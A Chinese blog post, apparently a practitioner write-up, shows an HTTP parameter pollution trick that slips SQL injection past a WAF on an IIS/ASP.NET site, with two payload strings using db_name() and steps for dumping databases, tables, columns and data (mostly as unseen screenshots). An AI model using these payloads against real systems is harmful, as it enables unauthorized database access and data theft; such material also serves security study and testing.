实操:一次简单的HPP绕WAF

简介: 一次简单的HPP绕WAF

640.png

一次简单的HPP绕WAF

       利用代码中的一段错误,导致我们可以利用hpp来完全绕过防御规则。
       WAF绕过中,对规则与正则的绕过总是有局限性的。

直接操作

单引号报错:

640.png          

闭合一波:

640.png

直接被干掉……

仔细看了下第一包的响应:asp.net,基本锁定IIS+ASP.NET,此时hpp不香吗

640.png

结合报错回显,直接构造payload

vin=11111111111111')&vin=and+1=db_name()--+-

640.png

参数连接时用了逗号,将payload简单修改下:

vin=11111111111111&vin=')+and+1=db_name()--+-

640.png

也可以直接用注释符包含:

640.png

依次注出其它库:

640.png

注表,通过not in语句:

640.png

利用having 1=1group by注字段:

640.png

640.png

注数据:

 640.png

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。

       学好技术,别再让WAF拦住你脚步。


相关文章
|
固态存储 IDE 开发工具
【实战经验分享】如何对SSD固态硬盘下发SCSI command?
目前可以供用来下发SCSI/ATA Command的工具有很多,比如BusHound, Hdparm, Sg3, Msecli等。其中Msecli是Micron自己的专门用来管理Micron SSD的命令行接口, 对于其他家的SSD是无效的。我们这里主要用的Sg3这个工具
|
安全 Java 测试技术
如何搭建 WebGoat 靶场保姆级教程(附链接)
如何搭建 WebGoat 靶场保姆级教程(附链接)
|
5月前
|
IDE Java 编译器
【全网最详细】JDK8下载安装图文教程 | Java8环境变量配置指南
JDK8是2014年发布的经典Java版本,至今仍广泛应用于老项目维护与基础学习。它引入Lambda表达式、Stream API和全新日期时间API等关键特性,大幅提升代码简洁性与功能性。本教程详解官方下载、Windows安装步骤、环境变量配置及基础验证方法,助你快速上手。(239字)
|
机器学习/深度学习 人工智能 自然语言处理
Baichuan-M1-14B:AI 助力医疗推理,为患者提供专业的建议!百川智能开源业内首个医疗增强大模型,普及医学的新渠道!
Baichuan-M1-14B 是百川智能推出的首个开源医疗增强大模型,专为医疗场景优化,支持多语言、快速推理,具备强大的医疗推理能力和通用能力。
1314 17
Baichuan-M1-14B:AI 助力医疗推理,为患者提供专业的建议!百川智能开源业内首个医疗增强大模型,普及医学的新渠道!
|
存储 前端开发 安全
【面试题】: bs架构与cs架构的区别以及各自优缺点
bs架构与cs架构的区别以及各自优缺点
9642 0
|
人工智能 Cloud Native Serverless
2024云栖大会资料精选,《云原生+AI核心技术&最佳实践》PPT全量放送!
关注阿里云云原生公众号,后台回复:2024 云栖大会,即可免费下载云原生云栖大会核心资料合集。
3689 35
|
JavaScript 前端开发
常见XSS绕过技巧
常见XSS绕过技巧
2361 0
|
安全 Java Spring
springboot2.1.0漏洞修复及踩坑
springboot2.1.0漏洞修复及踩坑
859 0
|
监控 JavaScript 前端开发
Spring Boot:简化Spring应用程序的开发
前言 Spring Boot是一个基于Spring框架的开源项目,旨在简化Spring应用程序的开发、配置和部署。本文将详细介绍Spring Boot的基本概念、特性、常用注解和实践。我们将使用一个实际的示例,帮助你更好地理解和应用Spring Boot。
8056 5
Spring Boot:简化Spring应用程序的开发
|
数据可视化
R实战 | Nomogram(诺莫图/列线图)及其Calibration校准曲线绘制
R实战 | Nomogram(诺莫图/列线图)及其Calibration校准曲线绘制
3580 0
R实战 | Nomogram(诺莫图/列线图)及其Calibration校准曲线绘制